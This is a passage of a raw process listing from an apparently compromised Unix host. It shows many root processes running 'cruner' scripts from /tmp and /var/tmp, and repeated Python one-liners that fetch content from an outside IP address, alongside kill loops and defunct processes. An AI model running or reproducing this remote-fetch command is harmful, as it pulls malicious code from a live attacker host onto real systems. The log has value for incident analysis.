urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7627 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22594 6882 0 15:45:30 ? 0:00 bash -sh > root 12478 12464 0 15:44:24 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26903 16642 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 12833 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6994 6979 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27291 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16039 4945 0 - ? 0:00 <defunct> > root 28168 1459 0 15:45:18 ? 0:00 sleep 60 > root 8772 29437 0 15:45:36 ? 0:00 bash -sh > root 10442 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26234 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7966 20413 0 15:45:28 ? 0:00 bash -sh > root 23684 19754 0 - ? 0:00 <defunct> > root 5932 14183 0 15:44:42 ? 0:00 bash -sh > root 27197 12200 0 - ? 0:00 <defunct> > root 20059 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27790 1957 0 15:46:10 ? 0:00 bash -sh > root 14562 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15373 19380 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 24564 23308 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2257 11910 0 - ? 0:00 <defunct> > root 27068 26841 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4503 23977 0 15:45:54 ? 0:00 bash -sh > root 639 17197 0 15:44:22 ? 0:00 bash -sh > root 25687 5444 0 15:45:57 ? 0:00 sh /var/tmp/cruner > root 24723 13730 0 - ? 0:00 <defunct> > root 26645 26630 0 15:45:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28083 6741 0 15:45:34 ? 0:00 sleep 60 > root 21063 18646 0 15:46:00 ? 0:00 sh /tmp/cruner > root 20597 21767 0 - ? 0:00 <defunct> > root 26886 7430 0 15:46:10 ? 0:00 bash -sh > root 14718 2471 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11244 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8987 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25263 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21835 1845 0 15:45:42 ? 0:00 bash -sh > root 26308 9454 0 - ? 0:00 <defunct> > root 25494 1144 0 15:45:47 ? 0:00 xargs kill -9 > root 9005 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 12907 10010 0 - ? 0:00 <defunct> > root 5172 24116 0 15:45:54 ? 0:00 sleep 60 > root 8343 11390 0 - ? 0:00 <defunct> > root 17537 19114 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28077 10640 0 15:45:53 ? 0:00 sleep 60 > root 27562 27496 0 15:46:10 ? 0:00 xargs kill -9 > root 20771 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13516 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2818 21118 0 15:46:06 ? 0:00 sh /tmp/cruner > root 17399 20126 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 25056 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 26751 13423 0 - ? 0:00 <defunct> > root 4026 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8872 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27886 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 627 1311 0 15:45:48 ? 0:00 sleep 60 > root 8600 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13042 25100 0 15:45:21 ? 0:00 sleep 60 > root 1153 26761 0 15:46:06 ? 0:00 bash -sh > root 11197 27097 0 15:45:10 ? 0:00 bash -sh > root 3054 33 0 - ? 0:00 <defunct> > root 14219 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3395 12401 0 15:45:35 ? 0:00 sleep 60 > root 6800 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13222 716 0 - ? 0:00 <defunct> > root 25990 11439 0 15:46:10 ? 0:00 xargs kill -9 > root 4656 4064 0 15:45:19 ? 0:00 sleep 60 > root 27108 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20502 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5713 16477 0 15:45:35 ? 0:00 bash -sh > root 26596 1 0 20:44:34 ? 0:00 sh /var/tmp/cruner > root 20544 19180 0 15:43:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12929 22979 0 - ? 0:00 <defunct> > root 9057 11930 0 15:45:40 ? 0:00 bash -sh > root 16914 26078 0 15:44:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6987 27740 0 15:46:07 ? 0:00 bash -sh > root 16513 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12602 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10409 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21389 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20054 5317 0 15:46:09 ? 0:00 bash -sh > root 2572 17513 0 15:45:53 ? 0:00 bash -sh > root 24837 8813 0 15:46:10 ? 0:00 bash -sh > root 21819 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29573 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28573 11900 0 15:45:34 ? 0:00 sleep 60 > root 17565 29180 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 12456 5984 0 - ? 0:00 <defunct> > root 4422 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12000 4631 0 - ? 0:00 <defunct> > root 28189 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26542 26521 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15073 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8467 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18960 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8628 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16651 15093 0 15:43:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14623 17678 0 15:45:11 ? 0:00 sleep 60 > root 23481 16779 0 - ? 0:00 <defunct> > root 10804 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18941 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2318 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20100 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26355 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16908 16863 0 - ? 0:00 <defunct> > root 19223 18011 0 15:43:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13560 11596 0 - ? 0:00 <defunct> > root 10034 22864 0 15:45:21 ? 0:00 sleep 60 > root 8037 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23940 2331 0 15:45:43 ? 0:00 bash -sh > root 10542 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10634 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24314 24300 0 15:44:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19481 25395 0 15:45:16 ? 0:00 bash -sh > root 29955 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15984 9056 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 18845 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6437 7648 0 - ? 0:00 <defunct> > root 4875 24738 0 15:45:58 ? 0:00 sleep 60 > root 23976 23963 0 15:46:10 ? 0:00 /bin/ksh -p /bin/kill -9 > root 5078 14529 0 15:45:28 ? 0:00 sleep 60 > root 14714 19317 0 15:45:37 ? 0:00 bash -sh > root 17962 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4094 29254 0 15:45:28 ? 0:00 bash -sh > root 244 16739 0 15:44:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18124 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4380 28368 0 15:45:40 ? 0:00 xargs kill -9 > root 16042 11608 0 - ? 0:00 <defunct> > root 232 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13191 21730 0 15:45:50 ? 0:00 bash -sh > root 23567 10340 0 15:45:17 ? 0:00 bash -sh > root 13299 10550 0 15:45:41 ? 0:00 sleep 60 > root 11920 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1274 16859 0 15:44:11 ? 0:00 bash -sh > root 15861 15597 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25168 1 0 14:15:59 ? 0:00 sh /var/tmp/cruner > root 2070 2575 0 15:45:27 ? 0:00 bash -sh > root 16876 3716 0 15:44:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24044 20328 0 - ? 0:00 <defunct> > root 10617 8817 0 15:45:28 ? 0:00 sleep 60 > root 14667 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24488 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27729 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15427 15426 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19031 18844 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15951 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19111 29377 0 - ? 0:00 <defunct> > root 3418 21384 0 15:45:28 ? 0:00 sleep 60 > root 26376 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12468 29650 0 - ? 0:00 <defunct> > root 22880 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11417 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19741 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17549 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23072 23051 0 15:46:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22683 11732 0 15:46:09 ? 0:00 bash -sh > root 26641 17847 0 - ? 0:00 <defunct> > root 28919 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5049 29144 0 15:45:20 ? 0:00 sleep 60 > root 26863 27339 0 15:46:10 ? 0:00 sh /var/tmp/cruner > root 159 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13596 8691 0 15:45:50 ? 0:00 bash -sh > root 29709 24930 0 15:45:27 ? 0:00 bash -sh > root 18914 26072 0 - ? 0:00 <defunct> > root 7998 11977 0 15:46:07 ? 0:00 sleep 60 > root 17893 16388 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 26913 6506 0 15:46:10 ? 0:00 bash -sh > root 17050 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 496 17246 0 - ? 0:00 <defunct> > root 29587 29191 0 15:44:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22904 18488 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 3180 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12229 10357 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 12715 27168 0 15:43:59 ? 0:00 bash -sh > root 13088 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15325 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 922 18239 0 15:45:58 ? 0:00 sleep 60 > root 29734 17384 0 15:44:59 ? 0:00 bash -sh > root 11767 7959 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2793 3942 0 - ? 0:00 <defunct> > root 27453 18322 0 15:46:10 ? 0:00 bash -sh > root 9773 12720 0 - ? 0:00 <defunct> > root 18808 18326 0 15:38:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8624 28954 0 15:46:07 ? 0:00 sleep 60 > root 28942 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20743 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7591 10006 0 - ? 0:00 <defunct> > root 8751 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17439 3448 0 15:46:00 ? 0:00 sh /tmp/cruner > root 4305 23423 0 15:45:35 ? 0:00 sleep 60 > root 13943 14440 0 - ? 0:00 <defunct> > root 10816 9478 0 - ? 0:00 <defunct> > root 7711 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4175 25996 0 - ? 0:00 <defunct> > root 112 5253 0 15:45:27 ? 0:00 sleep 60 > root 23078 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16192 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15625 15568 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3780 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22392 28328 0 15:45:47 ? 0:00 sh /tmp/cruner > root 28907 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12228 4596 0 15:43:10 ? 0:00 bash -sh > root 22071 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5561 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22493 8169 0 - ? 0:00 <defunct> > root 24086 15765 0 15:45:43 ? 0:00 bash -sh > root 7516 7310 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28704 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8622 8657 0 - ? 0:00 <defunct> > root 20578 12437 0 15:45:52 ? 0:00 bash -sh > root 27694 3878 0 15:43:35 ? 0:00 bash -sh > root 7575 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13578 14267 0 15:44:16 ? 0:00 bash -sh > root 18788 4860 0 15:42:54 ? 0:00 bash -sh > root 29958 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 886 3492 0 15:45:48 ? 0:00 sleep 60 > root 11925 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5244 581 0 15:45:20 ? 0:00 bash -sh > root 10515 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22851 21373 0 15:45:43 ? 0:00 bash -sh > root 28850 15537 0 15:44:37 ? 0:00 bash -sh > root 29927 23222 0 15:45:48 ? 0:00 sh /tmp/cruner > root 5719 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14978 4400 0 - ? 0:00 <defunct> > root 23522 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15201 2665 0 - ? 0:00 <defunct> > root 981 17228 0 15:44:22 ? 0:00 bash -sh > root 2245 3116 0 15:45:53 ? 0:00 sh /tmp/cruner > root 23549 17604 0 - ? 0:00 <defunct> > root 29142 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 1628 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 26747 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27424 5968 0 - ? 0:00 <defunct> > root 5612 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4953 4608 0 15:46:03 ? 0:00 bash -sh > root 5594 9786 0 15:45:58 ? 0:00 sleep 60 > root 21748 16502 0 15:42:20 ? 0:00 bash -sh > root 10205 12610 0 15:46:07 ? 0:00 sleep 60 > root 22380 16046 0 15:46:09 ? 0:00 sleep 60 > root 7682 7646 0 - ? 0:00 <defunct> > root 19916 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1192 24556 0 15:44:22 ? 0:00 bash -sh > root 19911 12933 0 - ? 0:00 <defunct> > root 19976 10798 0 15:45:12 ? 0:00 sleep 60 > root 14792 14719 0 15:44:16 ? 0:00 bash -sh > root 14044 18070 0 - ? 0:00 <defunct> > root 5968 21788 0 15:45:20 ? 0:00 bash -sh > root 24366 5494 0 15:43:23 ? 0:00 bash -sh > root 23469 16789 0 - ? 0:00 <defunct> > root 18754 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12433 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16573 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16339 15919 0 15:46:08 ? 0:00 sleep 60 > root 3412 8797 0 - ? 0:00 <defunct> > root 12112 22822 0 15:45:59 ? 0:00 xargs kill -9 > root 6062 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5914 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24683 13158 0 15:42:50 ? 0:00 bash -sh > root 8841 3514 0 15:46:07 ? 0:00 sleep 60 > root 15781 12841 0 - ? 0:00 <defunct> > root 26741 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3008 20604 0 15:45:58 ? 0:00 sleep 60 > root 23758 17608 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 1427 2976 0 - ? 0:00 <defunct> > root 24020 9836 0 15:45:43 ? 0:00 sleep 60 > root 24224 1835 0 15:45:43 ? 0:00 sleep 60 > root 15273 13423 0 - ? 0:00 <defunct> > root 4559 11121 0 - ? 0:00 <defunct> > root 23978 22548 0 - ? 0:00 <defunct> > root 4152 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13352 7801 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 29646 29642 0 15:45:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5949 26944 0 15:43:37 ? 0:00 bash -sh > root 27796 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25710 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12808 921 0 - ? 0:00 <defunct> > root 25255 4246 0 15:46:05 ? 0:00 sleep 60 > root 1421 119 0 15:45:14 ? 0:00 sleep 60 > root 16247 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10208 13394 0 15:44:15 ? 0:00 bash -sh > root 26030 1 0 03:06:08 ? 0:00 sh /var/tmp/cruner > root 24778 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20507 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6263 15944 0 15:45:20 ? 0:00 sleep 60 > root 3288 25590 0 15:43:08 ? 0:00 bash -sh > root 18401 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6883 20578 0 15:46:07 ? 0:00 xargs kill -9 > root 21492 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19359 13730 0 - ? 0:00 <defunct> > root 9667 8625 0 - ? 0:00 <defunct> > root 19297 20230 0 15:43:56 ? 0:00 bash -sh > root 10989 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1585 1 0 18:08:27 ? 0:01 sh /var/tmp/cruner > root 14655 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16866 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1318 13533 0 15:45:24 ? 0:00 sleep 60 > root 2334 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18448 8278 0 15:45:42 ? 0:00 xargs kill -9 > root 14291 1 0 01:57:17 ? 0:00 sh /var/tmp/cruner > root 25424 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6240 11244 0 15:45:35 ? 0:00 sleep 60 > root 28413 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 17917 17817 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 27991 776 0 15:45:47 ? 0:00 xargs kill -9 > root 1001 913 0 15:45:31 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27368 15869 0 - ? 0:00 <defunct> > root 16635 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 22328 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6225 22089 0 15:45:35 ? 0:00 sleep 60 > root 27581 23360 0 15:44:21 ? 0:00 bash -sh > root 6621 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20226 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9567 7368 0 15:44:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11046 1709 0 - ? 0:00 <defunct> > root 5616 5468 0 15:44:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23303 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20352 26902 0 15:43:34 ? 0:00 bash -sh > root 25276 6426 0 - ? 0:00 <defunct> > root 1993 22472 0 15:43:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16899 22205 0 - ? 0:00 <defunct> > root 29525 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19039 28376 0 15:46:09 ? 0:00 sh /var/tmp/cruner > root 10422 6382 0 15:46:07 ? 0:00 sh /var/tmp/cruner > root 18501 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12373 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25081 27541 0 - ? 0:00 <defunct> > root 27057 15512 0 15:45:34 ? 0:00 sleep 60 > root 7090 27707 0 15:45:09 ? 0:00 sh /tmp/cruner > root 8545 6237 0 15:45:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20206 21961 0 15:45:38 ? 0:00 bash -sh > root 16016 7107 0 - ? 0:00 <defunct> > root 92 22929 0 15:45:34 ? 0:00 sleep 60 > root 2448 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5023 2685 0 15:45:58 ? 0:00 /bin/ksh -p /bin/kill -9 > root 20596 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8340 8450 0 - ? 0:00 <defunct> > root 27377 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11370 3530 0 15:45:28 ? 0:00 sleep 60 > root 27783 22395 0 15:45:43 ? 0:00 sh /tmp/cruner > root 14803 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29776 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18583 16579 0 15:45:51 ? 0:00 sleep 60 > root 702 23045 0 15:45:48 ? 0:00 sleep 60 > root 18890 3480 0 15:45:37 ? 0:00 bash -sh > root 6939 23160 0 - ? 0:00 <defunct> > root 20081 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25308 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12145 8554 0 - ? 0:00 <defunct> > root 15664 16622 0 15:46:08 ? 0:00 sleep 60 > root 22540 6602 0 15:45:06 ? 0:00 bash -sh > root 16666 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23464 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16385 12998 0 15:45:26 ? 0:00 bash -sh > root 19551 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10812 10793 0 15:44:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11153 17318 0 15:46:04 ? 0:00 bash -sh > root 17556 25586 0 15:45:37 ? 0:00 bash -sh > root 21508 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 9809 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5155 28273 0 15:45:20 ? 0:00 sleep 60 > root 15966 15155 0 15:45:11 ? 0:00 bash -sh > root 3283 21335 0 15:45:58 ? 0:00 sleep 60 > root 2057 28485 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27686 3841 0 15:45:43 ? 0:00 sleep 60 > root 14194 7187 0 - ? 0:00 <defunct> > root 29662 8931 0 15:46:02 ? 0:00 sleep 60 > root 24416 5200 0 15:45:33 ? 0:00 bash -sh > root 1451 18295 0 15:45:31 ? 0:00 sleep 60 > root 18294 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14381 26404 0 15:45:37 ? 0:00 bash -sh > root 24284 23696 0 15:45:47 ? 0:00 sleep 60 > root 5596 17706 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7911 7680 0 15:45:54 ? 0:00 bash -sh > root 26945 24157 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5605 15644 0 15:43:42 ? 0:00 bash -sh > root 2884 26585 0 15:45:48 ? 0:00 bash -sh > root 15503 26955 0 15:45:32 ? 0:00 bash -sh > root 13158 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 252 13690 0 15:44:59 ? 0:00 bash -sh > root 21305 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 516 27930 0 15:45:44 ? 0:00 bash -sh > root 8614 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7334 28304 0 15:45:20 ? 0:00 sleep 60 > root 18913 9269 0 15:44:48 ? 0:00 bash -sh > root 21937 29252 0 15:45:06 ? 0:00 bash -sh > root 12399 8141 0 15:45:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14442 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11377 11166 0 15:43:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29896 4242 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 5623 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 986 753 0 15:45:48 ? 0:00 bash -sh > root 2325 21920 0 15:46:02 ? 0:00 bash -sh > root 11826 4939 0 15:43:01 ? 0:00 bash -sh > root 7290 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 9500 26158 0 15:45:50 ? 0:00 sleep 60 > root 2233 21288 0 15:44:11 ? 0:00 bash -sh > root 13115 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27212 17050 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 6010 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29138 4267 0 15:43:41 ? 0:00 bash -sh > root 13993 3374 0 15:45:29 ? 0:00 sleep 60 > root 21058 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14553 26786 0 15:45:11 ? 0:00 sleep 60 > root 20052 19410 0 15:45:56 ? 0:00 sleep 60 > root 21853 20251 0 15:45:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11489 5294 0 15:45:41 ? 0:00 sleep 60 > root 11521 11737 0 - ? 0:00 <defunct> > root 25221 9964 0 - ? 0:00 <defunct> > root 24321 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 930 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11714 12452 0 15:46:04 ? 0:00 bash -sh > root 29877 28458 0 15:45:58 ? 0:00 sleep 60 > root 20707 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27985 27826 0 15:46:10 ? 0:00 /bin/ksh -p /bin/kill -9 > root 16975 9996 0 15:44:52 ? 0:00 bash -sh > root 3883 3918 0 15:45:19 ? 0:00 sleep 60 > root 26320 6891 0 15:45:30 ? 0:00 bash -sh > root 17597 15945 0 15:45:56 ? 0:00 /bin/ksh -p /bin/kill -9 > root 21597 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27255 11858 0 - ? 0:00 <defunct> > root 15085 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29485 11149 0 15:44:59 ? 0:00 bash -sh > root 27497 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16986 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17921 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7622 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9730 2008 0 15:45:36 ? 0:00 sleep 60 > root 5348 9693 0 15:45:54 ? 0:00 sleep 60 > root 6687 25370 0 - ? 0:00 <defunct> > root 1890 3079 0 15:45:39 ? 0:00 bash -sh > root 28802 16267 0 - ? 0:00 <defunct> > root 9072 8672 0 15:45:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14321 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 49 29399 0 - ? 0:00 <defunct> > root 12010 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19210 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29035 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25908 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 12561 13478 0 15:45:55 ? 0:00 sleep 60 > root 23129 23123 0 15:44:45 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25631 15794 0 15:44:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15465 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17811 12275 0 15:46:00 ? 0:00 /bin/ksh -p /bin/kill -9 > root 385 1 